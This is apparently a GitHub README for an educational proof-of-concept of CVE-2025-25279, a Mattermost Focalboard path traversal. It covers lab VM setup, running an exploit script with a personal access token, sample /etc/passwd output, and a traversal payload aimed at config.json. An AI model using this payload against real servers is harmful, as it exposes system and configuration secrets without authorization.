
Proof-of-concept exploit for CVE-2025-25279, a Mattermost Focalboard path traversal enabling authenticated arbitrary file read and exfiltration of sensitive files.
This proof of concept demonstrates the exploitation of vulnerability CVE-2025-25279 affecting Mattermost 10.4.1.
A flaw in Focalboard (the board management module) allows arbitrary file reading via a path traversal in attachments.
The exploit can exfiltrate:
/etc/passwd/etc/groupopt/mattermost/config/config.jsonThe attack works only with an authenticated user account in vulnerable scenarios.
The target/ folder is not included (too large for GitHub).
Download manually: https://releases.mattermost.com/10.4.1/mattermost-10.4.1-linux-amd64.tar.gz
First go to the target directory and run:
cd target
make mattermost.box
Make sure you have the mattermost-poc box otherwise the VM will not work:
cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box
cd live/vm1
vagrant up
Connect to the VM
vagrant ssh
Open: http://localhost:8065
Profile --> Security --> Personal Access Tokens
From the host machine:
cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip
chmod +x exploit.sh
./exploit.sh
You will be asked:
PAT (Personal Access Token) :
👉 Enter a valid PAT from a Mattermost user.
📸 Example output (exfiltration of /etc/passwd)
===== CONTENT (start) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh
Targeted file: config.json
To target a sensitive Mattermost file:
Modify at the top of the exploit.sh script:
TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
L’exploit affichera alors le contenu du fichier config.json.
🟢 MAHAMMAD MOUSSE Abokor 🔵 PARNET cyril
🎬 Video demonstration
👉 A complete video demonstration is located in: live/Démonstration/video-poc-cve-2025-25279.mp4
🧩 Notes
This PoC is strictly intended for learning environments. Never use outside of an educational context or without authorization.